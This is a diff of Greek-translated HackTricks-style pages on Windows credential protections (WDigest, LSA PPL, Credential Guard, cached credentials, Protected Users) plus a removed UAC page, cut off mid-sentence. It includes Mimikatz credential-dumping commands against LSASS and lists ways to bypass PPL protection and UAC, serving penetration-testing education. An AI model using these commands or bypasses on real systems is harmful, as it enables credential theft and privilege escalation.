πρωτόκολλο, που εισήχθη με τα Windows XP, έχει σχεδιαστεί για αυθεντικοποίηση μέσω του Πρωτοκόλλου HTTP και είναι **ενεργοποιημένο από προεπιλογή στα Windows XP μέχρι Windows 8.0 και Windows Server 2003 μέχρι Windows Server 2012**. Αυτή η προεπιλεγμένη ρύθμιση έχει ως αποτέλεσμα **αποθήκευση κωδικών πρόσβασης σε απλό κείμενο στο LSASS** (Local Security Authority Subsystem Service). Ένας επιτιθέμενος μπορεί να χρησιμοποιήσει το Mimikatz για να **εξάγει αυτά τα διαπιστευτήρια** εκτελώντας: +Το [WDigest]() πρωτόκολλο, που εισήχθη με τα Windows XP, έχει σχεδιαστεί για αυθεντικοποίηση μέσω του Πρωτοκόλλου HTTP και είναι **ενεργοποιημένο από προεπιλογή στα Windows XP μέχρι Windows 8.0 και Windows Server 2003 έως Windows Server 2012**. Αυτή η προεπιλεγμένη ρύθμιση έχει ως αποτέλεσμα **αποθήκευση κωδικών πρόσβασης σε απλό κείμενο στο LSASS** (Local Security Authority Subsystem Service). Ένας επιτιθέμενος μπορεί να χρησιμοποιήσει το Mimikatz για να **εξάγει αυτά τα διαπιστευτήρια** εκτελώντας: ```bash sekurlsa::wdigest ``` -Για να **απενεργοποιήσετε ή να ενεργοποιήσετε αυτή τη δυνατότητα**, τα _**UseLogonCredential**_ και _**Negotiate**_ κλειδιά μητρώου μέσα στο _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ πρέπει να ρυθμιστούν σε "1". Εάν αυτά τα κλειδιά είναι **απουσία ή ρυθμισμένα σε "0"**, το WDigest είναι **απενεργοποιημένο**: +Για να **εναλλάξετε αυτή τη δυνατότητα ενεργοποιημένη ή απενεργοποιημένη**, τα _**UseLogonCredential**_ και _**Negotiate**_ κλειδιά μητρώου μέσα στο _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ πρέπει να ρυθμιστούν σε "1". Εάν αυτά τα κλειδιά είναι **απουσία ή ρυθμισμένα σε "0"**, το WDigest είναι **απενεργοποιημένο**: ```bash reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential ``` @@ -22,19 +20,19 @@ reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v Use - **Type** (`Protected` ή `ProtectedLight`) - **Signer** (π.χ., `WinTcb`, `Lsa`, `Antimalware`, κ.λπ.) -Αυτή η δομή είναι συμπιεσμένη σε ένα μόνο byte και καθορίζει **ποιος μπορεί να προσπελάσει ποιον**: +Αυτή η δομή είναι συμπιεσμένη σε ένα μόνο byte και καθορίζει **ποιος μπορεί να έχει πρόσβαση σε ποιον**: - **Υψηλότερες τιμές υπογραφής μπορούν να προσπελάσουν χαμηλότερες** - **PPLs δεν μπορούν να προσπελάσουν PPs** -- **Μη προστατευμένες διαδικασίες δεν μπορούν να προσπελάσουν κανένα PPL/PP** +- **Μη προστατευμένες διαδικασίες δεν μπορούν να προσπελάσουν καμία PPL/PP** ### Τι πρέπει να γνωρίζετε από επιθετική προοπτική -- Όταν **το LSASS εκτελείται ως PPL**, οι απόπειρες να το ανοίξετε χρησιμοποιώντας `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` από κανονικό περιβάλλον διαχειριστή **αποτυγχάνουν με `0x5 (Access Denied)`**, ακόμη και αν είναι ενεργοποιημένο το `SeDebugPrivilege`. +- Όταν **το LSASS εκτελείται ως PPL**, οι απόπειρες να το ανοίξετε χρησιμοποιώντας `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` από μια κανονική διαχειριστική κονσόλα **αποτυγχάνουν με `0x5 (Access Denied)`**, ακόμη και αν είναι ενεργοποιημένο το `SeDebugPrivilege`. - Μπορείτε να **ελέγξετε το επίπεδο προστασίας του LSASS** χρησιμοποιώντας εργαλεία όπως το Process Hacker ή προγραμματισμένα διαβάζοντας την τιμή `EPROCESS.Protection`. - Το LSASS θα έχει συνήθως `PsProtectedSignerLsa-Light` (`0x41`), το οποίο μπορεί να προσπελαστεί **μόνο από διαδικασίες που είναι υπογεγραμμένες με έναν υπογράφοντα υψηλότερου επιπέδου**, όπως το `WinTcb` (`0x61` ή `0x62`). - Το PPL είναι μια **περιορισμένη μόνο για το Userland**; **ο κωδικός επιπέδου πυρήνα μπορεί να το παρακάμψει πλήρως**. -- Το LSASS που είναι PPL δεν **αποτρέπει την εξαγωγή διαπιστευτηρίων αν μπορείτε να εκτελέσετε κώδικα πυρήνα** ή **να εκμεταλλευτείτε μια διαδικασία υψηλής προνομιακής πρόσβασης με κατάλληλη πρόσβαση**. -- **Η ρύθμιση ή η αφαίρεση του PPL** απαιτεί επανεκκίνηση ή **ρυθμίσεις Secure Boot/UEFI**, οι οποίες μπορούν να διατηρήσουν τη ρύθμιση PPL ακόμη και μετά την αναστροφή των αλλαγών μητρώου. +- Το LSASS που είναι PPL δεν **αποτρέπει την εξαγωγή διαπιστευτηρίων αν μπορείτε να εκτελέσετε κώδικα πυρήνα** ή **να εκμεταλλευτείτε μια διαδικασία υψηλών προνομίων με κατάλληλη πρόσβαση**. +- **Η ρύθμιση ή η αφαίρεση του PPL** απαιτεί επανεκκίνηση ή **ρυθμίσεις Secure Boot/UEFI**, οι οποίες μπορούν να διατηρήσουν τη ρύθμιση PPL ακόμη και μετά την αναίρεση των αλλαγών μητρώου. **Επιλογές παράκαμψης προστασιών PPL:** @@ -43,24 +41,24 @@ reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v Use ![](../../images/mimidrv.png) -2. **Φέρτε τον δικό σας ευάλωτο οδηγό (BYOVD)** για να εκτελέσετε προσαρμοσμένο κώδικα πυρήνα και να απενεργοποιήσετε την προστασία. Εργαλεία όπως το **PPLKiller**, **gdrv-loader** ή **kdmapper** καθιστούν αυτό εφικτό. -3. **Κλέψτε μια υπάρχουσα λαβή LSASS** από άλλη διαδικασία που την έχει ανοιχτή (π.χ., μια διαδικασία AV), στη συνέχεια **αντιγράψτε την** στη διαδικασία σας. Αυτό είναι η βάση της τεχνικής `pypykatz live lsa --method handledup`. -4. **Καταχραστείτε κάποια προνομιακή διαδικασία** που θα σας επιτρέψει να φορτώσετε αυθαίρετο κώδικα στο χώρο διευθύνσεών της ή μέσα σε άλλη προνομιακή διαδικασία, παρακάμπτοντας αποτελεσματικά τους περιορισμούς PPL. Μπορείτε να ελέγξετε ένα παράδειγμα αυτού στο [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) ή [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump). +2. **Φέρτε τον δικό σας ευάλωτο οδηγό (BYOVD)** για να εκτελέσετε προσαρμοσμένο κώδικα πυρήνα και να απενεργοποιήσετε την προστασία. Εργαλεία όπως το **PPLKiller**, **gdrv-loader**, ή **kdmapper** καθιστούν αυτό εφικτό. +3. **Κλέψτε μια υπάρχουσα λαβή LSASS** από μια άλλη διαδικασία που την έχει ανοιχτή (π.χ., μια διαδικασία AV), στη συνέχεια **διπλασιάστε την** στη διαδικασία σας. Αυτό είναι η βάση της τεχνικής `pypykatz live lsa --method handledup`. +4. **Καταχραστείτε κάποια προνομιακή διαδικασία** που θα σας επιτρέψει να φορτώσετε αυθαίρετο κώδικα στο χώρο διευθύνσεων της ή μέσα σε άλλη προνομιακή διαδικασία, παρακάμπτοντας αποτελεσματικά τους περιορισμούς PPL. Μπορείτε να ελέγξετε ένα παράδειγμα αυτού στο [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) ή [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump). **Ελέγξτε την τρέχουσα κατάσταση της προστασίας LSA (PPL/PP) για το LSASS**: ```bash reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL ``` -Όταν εκτελείτε **`mimikatz privilege::debug sekurlsa::logonpasswords`** πιθανότατα θα αποτύχει με τον κωδικό σφάλματος `0x00000005` λόγω αυτού. +When you running **`mimikatz privilege::debug sekurlsa::logonpasswords`** it'll probably fail with the error code `0x00000005` becasue of this. - Για περισσότερες πληροφορίες σχετικά με αυτό, ελέγξτε [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/) ## Credential Guard -**Credential Guard**, μια δυνατότητα αποκλειστική για **Windows 10 (Enterprise και Education εκδόσεις)**, ενισχύει την ασφάλεια των διαπιστευτηρίων μηχανής χρησιμοποιώντας **Virtual Secure Mode (VSM)** και **Virtualization Based Security (VBS)**. Εκμεταλλεύεται τις επεκτάσεις εικονικοποίησης CPU για να απομονώσει βασικές διαδικασίες εντός ενός προστατευμένου χώρου μνήμης, μακριά από την προσέγγιση του κύριου λειτουργικού συστήματος. Αυτή η απομόνωση διασφαλίζει ότι ακόμη και ο πυρήνας δεν μπορεί να έχει πρόσβαση στη μνήμη στο VSM, προστατεύοντας αποτελεσματικά τα διαπιστευτήρια από επιθέσεις όπως το **pass-the-hash**. Η **Local Security Authority (LSA)** λειτουργεί εντός αυτού του ασφαλούς περιβάλλοντος ως trustlet, ενώ η διαδικασία **LSASS** στο κύριο OS λειτουργεί απλώς ως επικοινωνητής με την LSA του VSM. +**Credential Guard**, μια δυνατότητα αποκλειστική για **Windows 10 (Enterprise και Education εκδόσεις)**, ενισχύει την ασφάλεια των διαπιστευτηρίων μηχανής χρησιμοποιώντας **Virtual Secure Mode (VSM)** και **Virtualization Based Security (VBS)**. Εκμεταλλεύεται τις επεκτάσεις εικονικοποίησης CPU για να απομονώσει βασικές διαδικασίες εντός ενός προστατευμένου χώρου μνήμης, μακριά από την πρόσβαση του κύριου λειτουργικού συστήματος. Αυτή η απομόνωση διασφαλίζει ότι ακόμη και ο πυρήνας δεν μπορεί να έχει πρόσβαση στη μνήμη στο VSM, προστατεύοντας αποτελεσματικά τα διαπιστευτήρια από επιθέσεις όπως **pass-the-hash**. Η **Local Security Authority (LSA)** λειτουργεί μέσα σε αυτό το ασφαλές περιβάλλον ως trustlet, ενώ η διαδικασία **LSASS** στο κύριο OS λειτουργεί απλώς ως επικοινωνητής με την LSA του VSM. -Από προεπιλογή, **Credential Guard** δεν είναι ενεργό και απαιτεί χειροκίνητη ενεργοποίηση εντός ενός οργανισμού. Είναι κρίσιμο για την ενίσχυση της ασφάλειας κατά εργαλείων όπως το **Mimikatz**, τα οποία περιορίζονται στην ικανότητά τους να εξάγουν διαπιστευτήρια. Ωστόσο, οι ευπάθειες μπορούν να εκμεταλλευτούν μέσω της προσθήκης προσαρμοσμένων **Security Support Providers (SSP)** για να καταγράψουν διαπιστευτήρια σε καθαρό κείμενο κατά τις προσπάθειες σύνδεσης. +Από προεπιλογή, **Credential Guard** δεν είναι ενεργό και απαιτεί χειροκίνητη ενεργοποίηση εντός ενός οργανισμού. Είναι κρίσιμο για την ενίσχυση της ασφάλειας κατά εργαλείων όπως το **Mimikatz**, τα οποία περιορίζονται στην ικανότητά τους να εξάγουν διαπιστευτήρια. Ωστόσο, οι ευπάθειες μπορούν να εκμεταλλευτούν μέσω της προσθήκης προσαρμοσμένων **Security Support Providers (SSP)** για να συλλάβουν διαπιστευτήρια σε καθαρό κείμενο κατά τις προσπάθειες σύνδεσης. Για να επαληθεύσετε την κατάσταση ενεργοποίησης του **Credential Guard**, μπορεί να ελεγχθεί το κλειδί μητρώου _**LsaCfgFlags**_ κάτω από _**HKLM\System\CurrentControlSet\Control\LSA**_. Μια τιμή "**1**" υποδηλώνει ενεργοποίηση με **UEFI lock**, "**2**" χωρίς κλείδωμα, και "**0**" δηλώνει ότι δεν είναι ενεργοποιημένο. Αυτός ο έλεγχος μητρώου, αν και είναι ισχυρός δείκτης, δεν είναι το μόνο βήμα για την ενεργοποίηση του Credential Guard. Λεπτομερείς οδηγίες και ένα σενάριο PowerShell για την ενεργοποίηση αυτής της δυνατότητας είναι διαθέσιμα online. ```bash @@ -74,7 +72,7 @@ reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags **Windows 8.1 και Windows Server 2012 R2** εισήγαγαν αρκετές νέες δυνατότητες ασφαλείας, συμπεριλαμβανομένης της _**Restricted Admin mode για RDP**_. Αυτή η λειτουργία σχεδιάστηκε για να ενισχύσει την ασφάλεια μειώνοντας τους κινδύνους που σχετίζονται με τις επιθέσεις [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/). -Παραδοσιακά, όταν συνδέεστε σε έναν απομακρυσμένο υπολογιστή μέσω RDP, τα διαπιστευτήριά σας αποθηκεύονται στη στοχοθετημένη μηχανή. Αυτό συνιστά σημαντικό κίνδυνο ασφαλείας, ειδικά όταν χρησιμοποιούνται λογαριασμοί με αυξημένα δικαιώματα. Ωστόσο, με την εισαγωγή της _**Restricted Admin mode**_, αυτός ο κίνδυνος μειώνεται σημαντικά. +Παραδοσιακά, όταν συνδέεστε σε έναν απομακρυσμένο υπολογιστή μέσω RDP, τα διαπιστευτήριά σας αποθηκεύονται στη στοχοθετημένη μηχανή. Αυτό συνιστά σημαντικό κίνδυνο ασφαλείας, ειδικά όταν χρησιμοποιείτε λογαριασμούς με αυξημένα δικαιώματα. Ωστόσο, με την εισαγωγή της _**Restricted Admin mode**_, αυτός ο κίνδυνος μειώνεται σημαντικά. Όταν ξεκινάτε μια σύνδεση RDP χρησιμοποιώντας την εντολή **mstsc.exe /RestrictedAdmin**, η αυθεντικοποίηση στον απομακρυσμένο υπολογιστή πραγματοποιείται χωρίς να αποθηκεύονται τα διαπιστευτήριά σας σε αυτόν. Αυτή η προσέγγιση διασφαλίζει ότι, σε περίπτωση μόλυνσης από κακόβουλο λογισμικό ή αν ένας κακόβουλος χρήστης αποκτήσει πρόσβαση στον απομακρυσμένο διακομιστή, τα διαπιστευτήριά σας δεν θα διακυβευτούν, καθώς δεν αποθηκεύονται στον διακομιστή. @@ -88,9 +86,9 @@ reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags ## Cached Credentials -Τα Windows ασφαλίζουν τα **domain credentials** μέσω της **Local Security Authority (LSA)**, υποστηρίζοντας τις διαδικασίες σύνδεσης με πρωτόκολλα ασφαλείας όπως το **Kerberos** και το **NTLM**. Μια βασική δυνατότητα των Windows είναι η ικανότητά τους να αποθηκεύουν στην κρυφή μνήμη τις **τελευταίες δέκα συνδέσεις τομέα** για να διασφαλίσουν ότι οι χρήστες μπορούν να έχουν πρόσβαση στους υπολογιστές τους ακόμη και αν ο **domain controller είναι εκτός λειτουργίας**—ένα πλεονέκτημα για τους χρήστες φορητών υπολογιστών που συχνά βρίσκονται μακριά από το δίκτυο της εταιρείας τους. +Τα Windows ασφαλίζουν τα **διαπιστευτήρια τομέα** μέσω της **Τοπικής Αρχής Ασφαλείας (LSA)**, υποστηρίζοντας τις διαδικασίες σύνδεσης με πρωτόκολλα ασφαλείας όπως το **Kerberos** και το **NTLM**. Μια βασική δυνατότητα των Windows είναι η ικανότητά τους να αποθηκεύουν στην κρυφή μνήμη τις **τελευταίες δέκα συνδέσεις τομέα** για να διασφαλίσουν ότι οι χρήστες μπορούν να έχουν πρόσβαση στους υπολογιστές τους ακόμη και αν ο **διακομιστής τομέα είναι εκτός σύνδεσης**—ένα πλεονέκτημα για τους χρήστες φορητών υπολογιστών που συχνά βρίσκονται μακριά από το δίκτυο της εταιρείας τους. -Ο αριθμός των αποθηκευμένων συνδέσεων μπορεί να ρυθμιστεί μέσω ενός συγκεκριμένου **registry key ή group policy**. Για να δείτε ή να αλλάξετε αυτή τη ρύθμιση, χρησιμοποιείται η παρακάτω εντολή: +Ο αριθμός των αποθηκευμένων συνδέσεων μπορεί να ρυθμιστεί μέσω ενός συγκεκριμένου **κλειδιού μητρώου ή πολιτικής ομάδας**. Για να δείτε ή να αλλάξετε αυτή τη ρύθμιση, χρησιμοποιείται η εξής εντολή: ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` @@ -102,15 +100,15 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO ## Προστατευμένοι Χρήστες -Η συμμετοχή στην ομάδα **Protected Users** εισάγει αρκετές βελτιώσεις ασφαλείας για τους χρήστες, εξασφαλίζοντας υψηλότερα επίπεδα προστασίας από κλοπή και κακή χρήση διαπιστεύσεων: +Η συμμετοχή στην **ομάδα Προστατευμένων Χρηστών** εισάγει αρκετές βελτιώσεις ασφαλείας για τους χρήστες, εξασφαλίζοντας υψηλότερα επίπεδα προστασίας από κλοπή και κακή χρήση διαπιστεύσεων: -- **Delegation Διαπιστεύσεων (CredSSP)**: Ακόμα και αν η ρύθμιση Πολιτικής Ομάδας για **Allow delegating default credentials** είναι ενεργοποιημένη, οι διαπιστεύσεις κειμένου απλού των Προστατευμένων Χρηστών δεν θα αποθηκευτούν. +- **Ανάθεση Διαπιστεύσεων (CredSSP)**: Ακόμα και αν η ρύθμιση Πολιτικής Ομάδας για **Επιτρέπεται η ανάθεση προεπιλεγμένων διαπιστεύσεων** είναι ενεργοποιημένη, οι διαπιστεύσεις κειμένου απλού των Προστατευμένων Χρηστών δεν θα αποθηκεύονται. - **Windows Digest**: Από **Windows 8.1 και Windows Server 2012 R2**, το σύστημα δεν θα αποθηκεύει τις διαπιστεύσεις κειμένου απλού των Προστατευμένων Χρηστών, ανεξάρτητα από την κατάσταση του Windows Digest. - **NTLM**: Το σύστημα δεν θα αποθηκεύει τις διαπιστεύσεις κειμένου απλού των Προστατευμένων Χρηστών ή τις λειτουργίες NT one-way (NTOWF). -- **Kerberos**: Για τους Προστατευμένους Χρήστες, η πιστοποίηση Kerberos δεν θα δημιουργεί **DES** ή **RC4 keys**, ούτε θα αποθηκεύει διαπιστεύσεις κειμένου απλού ή μακροχρόνιων κλειδιών πέρα από την αρχική απόκτηση του Ticket-Granting Ticket (TGT). +- **Kerberos**: Για τους Προστατευμένους Χρήστες, η πιστοποίηση Kerberos δεν θα δημιουργεί **DES** ή **RC4 κλειδιά**, ούτε θα αποθηκεύει διαπιστεύσεις κειμένου απλού ή μακροχρόνια κλειδιά πέρα από την αρχική απόκτηση του Ticket-Granting Ticket (TGT). - **Offline Sign-In**: Οι Προστατευμένοι Χρήστες δεν θα έχουν έναν αποθηκευμένο επαληθευτή που θα δημιουργείται κατά την είσοδο ή την ξεκλείδωμα, πράγμα που σημαίνει ότι η offline είσοδος δεν υποστηρίζεται για αυτούς τους λογαριασμούς. -Αυτές οι προστασίες ενεργοποιούνται τη στιγμή που ένας χρήστης, ο οποίος είναι μέλος της ομάδας **Protected Users**, συνδέεται στη συσκευή. Αυτό διασφαλίζει ότι κρίσιμα μέτρα ασφαλείας είναι σε εφαρμογή για την προστασία από διάφορες μεθόδους παραβίασης διαπιστεύσεων. +Αυτές οι προστασίες ενεργοποιούνται τη στιγμή που ένας χρήστης, ο οποίος είναι μέλος της **ομάδας Προστατευμένων Χρηστών**, συνδέεται στη συσκευή. Αυτό διασφαλίζει ότι κρίσιμα μέτρα ασφαλείας είναι σε εφαρμογή για την προστασία από διάφορες μεθόδους παραβίασης διαπιστεύσεων. Για περισσότερες λεπτομέρειες, ανατρέξτε στην επίσημη [τεκμηρίωση](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group). diff --git a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md index 4cac77e3f..8bde2231f 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md @@ -1,7 +1,5 @@ # Named Pipe Client Impersonation -## Named Pipe Client Impersonation - {{#include ../../banners/hacktricks-training.md}} Έλεγχος: [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation) diff --git a/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md b/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md index b1cc33e5d..1b888fa7c 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md +++ b/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md @@ -1,7 +1,9 @@ +# SeDebug + SeImpersonate - Copy Token + {{#include ../../banners/hacktricks-training.md}} Ο παρακάτω κώδικας **εκμεταλλεύεται τα δικαιώματα SeDebug και SeImpersonate** για να αντιγράψει το token από μια **διαδικασία που εκτελείται ως SYSTEM** και με **όλα τα δικαιώματα του token**. \ -Σε αυτή την περίπτωση, αυτός ο κώδικας μπορεί να μεταγλωττιστεί και να χρησιμοποιηθεί ως **Windows service binary** για να ελέγξει αν λειτουργεί.\ +Σε αυτή την περίπτωση, αυτός ο κώδικας μπορεί να μεταγλωττιστεί και να χρησιμοποιηθεί ως **δυαδικό αρχείο υπηρεσίας Windows** για να ελέγξει ότι λειτουργεί.\ Ωστόσο, το κύριο μέρος του **κώδικα όπου συμβαίνει η ανύψωση** είναι μέσα στη **`Exploit`** **συνάρτηση**.\ Μέσα σε αυτή τη συνάρτηση μπορείτε να δείτε ότι η **διαδικασία **_**lsass.exe**_** αναζητείται**, στη συνέχεια **αντιγράφεται το token της**, και τελικά αυτό το token χρησιμοποιείται για να δημιουργήσει ένα νέο _**cmd.exe**_ με όλα τα δικαιώματα του αντιγραμμένου token. diff --git a/src/windows-hardening/windows-security-controls/uac-user-account-control.md b/src/windows-hardening/windows-security-controls/uac-user-account-control.md deleted file mode 100644 index 9c917f572..000000000 --- a/src/windows-hardening/windows-security-controls/uac-user-account-control.md +++ /dev/null @@ -1,190 +0,0 @@ -# UAC - Έλεγχος Λογαριασμού Χρήστη - -{{#include ../../banners/hacktricks-training.md}} - -## UAC - -[Ο Έλεγχος Λογαριασμού Χρήστη (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) είναι μια δυνατότητα που επιτρέπει μια **προτροπή συγκατάθεσης για ανυψωμένες δραστηριότητες**. Οι εφαρμογές έχουν διαφορετικά επίπεδα `integrity`, και ένα πρόγραμμα με **υψηλό επίπεδο** μπορεί να εκτελεί εργασίες που **θα μπορούσαν ενδεχομένως να θέσουν σε κίνδυνο το σύστημα**. Όταν το UAC είναι ενεργοποιημένο, οι εφαρμογές και οι εργασίες εκτελούνται πάντα **υπό το πλαίσιο ασφαλείας ενός λογαριασμού μη διαχειριστή** εκτός αν ένας διαχειριστής εξουσιοδοτήσει ρητά αυτές τις εφαρμογές/εργασίες να έχουν πρόσβαση επιπέδου διαχειριστή στο σύστημα για να εκτελούνται. Είναι μια δυνατότητα ευκολίας που προστατεύει τους διαχειριστές από ακούσιες αλλαγές αλλά δεν θεωρείται όριο ασφαλείας. - -Για περισσότερες πληροφορίες σχετικά με τα επίπεδα ακεραιότητας: - -{{#ref}} -../windows-local-privilege-escalation/integrity-levels.md -{{#endref}} - -Όταν το UAC είναι σε εφαρμογή, σε έναν χρήστη διαχειριστή δίνονται 2 διακριτικά: ένα τυπικό κλειδί χρήστη, για να εκτελεί κανονικές ενέργειες ως κανονικό επίπεδο, και ένα με τα δικαιώματα διαχειριστή. - -Αυτή η [σελίδα](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) συζητά πώς λειτουργεί το UAC σε βάθος και περιλαμβάνει τη διαδικασία σύνδεσης, την εμπειρία του χρήστη και την αρχιτεκτονική του UAC. Οι διαχειριστές μπορούν να χρησιμοποιήσουν πολιτικές ασφαλείας για να ρυθμίσουν πώς λειτουργεί το UAC συγκεκριμένα για την οργάνωσή τους σε τοπικό επίπεδο (χρησιμοποιώντας secpol.msc), ή να ρυθμιστεί και να προωθηθεί μέσω Αντικειμένων Πολιτικής Ομάδας (GPO) σε ένα περιβάλλον τομέα Active Directory. Οι διάφορες ρυθμίσεις συζητούνται λεπτομερώς [εδώ](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Υπάρχουν 10 ρυθμίσεις Πολιτικής Ομάδας που μπορούν να ρυθμιστούν για το UAC. Ο παρακάτω πίνακας παρέχει επιπλέον λεπτομέρειες: - -| Ρύθμιση Πολιτικής Ομάδας | Κλειδί Μητρώου | Προεπιλεγμένη Ρύθμιση | -| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ | -| [Έλεγχος Λογαριασμού Χρήστη: Λειτουργία Έγκρισης Διαχειριστή για τον ενσωματωμένο λογαριασμό διαχειριστή](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Απενεργοποιημένο | -| [Έλεγχος Λογαριασμού Χρήστη: Επιτρέψτε στις εφαρμογές UIAccess να ζητούν ανύψωση χωρίς να χρησιμοποιούν την ασφαλή επιφάνεια εργασίας](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Απενεργοποιημένο | -| [Έλεγχος Λογαριασμού Χρήστη: Συμπεριφορά της προτροπής ανύψωσης για διαχειριστές στη Λειτουργία Έγκρισης Διαχειριστή](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Προτροπή για συγκατάθεση για μη Windows δυαδικά | -| [Έλεγχος Λογαριασμού Χρήστη: Συμπεριφορά της προτροπής ανύψωσης για τυπικούς χρήστες](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Προτροπή για διαπιστευτήρια στην ασφαλή επιφάνεια εργασίας | -| [Έλεγχος Λογαριασμού Χρήστη: Ανίχνευση εγκαταστάσεων εφαρμογών και προτροπή για ανύψωση](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Ενεργοποιημένο (προεπιλογή για οικιακή χρήση) Απενεργοποιημένο (προεπιλογή για επιχείρηση) | -| [Έλεγχος Λογαριασμού Χρήστη: Μόνο ανύψωση εκτελέσιμων που είναι υπογεγραμμένα και επικυρωμένα](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Απενεργοποιημένο | -| [Έλεγχος Λογαριασμού Χρήστη: Μόνο ανύψωση εφαρμογών UIAccess που είναι εγκατεστημένες σε ασφαλείς τοποθεσίες](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Ενεργοποιημένο | -| [Έλεγχος Λογαριασμού Χρήστη: Εκτέλεση όλων των διαχειριστών στη Λειτουργία Έγκρισης Διαχειριστή](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Ενεργοποιημένο | -| [Έλεγχος Λογαριασμού Χρήστη: Μετάβαση στην ασφαλή επιφάνεια εργασίας κατά την προτροπή για ανύψωση](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Ενεργοποιημένο | -| [Έλεγχος Λογαριασμού Χρήστη: Εικονικοποίηση αποτυχιών εγγραφής αρχείων και μητρώου σε τοποθεσίες ανά χρήστη](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Ενεργοποιημένο | - -### Θεωρία Παράκαμψης UAC - -Ορισμένα προγράμματα είναι **αυτοανυψωμένα αυτόματα** εάν ο **χρήστης ανήκει** στην **ομάδα διαχειριστών**. Αυτές οι δυαδικές έχουν μέσα στα _**Manifests**_ την επιλογή _**autoElevate**_ με τιμή _**True**_. Η δυαδική πρέπει επίσης να είναι **υπογεγραμμένη από τη Microsoft**. - -Στη συνέχεια, για να **παρακαμφθεί** το **UAC** (ανύψωση από **μεσαίο** επίπεδο ακεραιότητας **σε υψηλό**) ορισμένοι επιτιθέμενοι χρησιμοποιούν αυτούς τους τύπους δυαδικών για να **εκτελέσουν αυθαίρετο κώδικα** επειδή θα εκτελούνται από μια **Διαδικασία Υψηλού επιπέδου ακεραιότητας**. - -Μπορείτε να **ελέγξετε** το _**Manifest**_ μιας δυαδικής χρησιμοποιώντας το εργαλείο _**sigcheck.exe**_ από το Sysinternals. Και μπορείτε να **δείτε** το **επίπεδο ακεραιότητας** των διαδικασιών χρησιμοποιώντας το _Process Explorer_ ή το _Process Monitor_ (του Sysinternals). - -### Έλεγχος UAC - -Για να 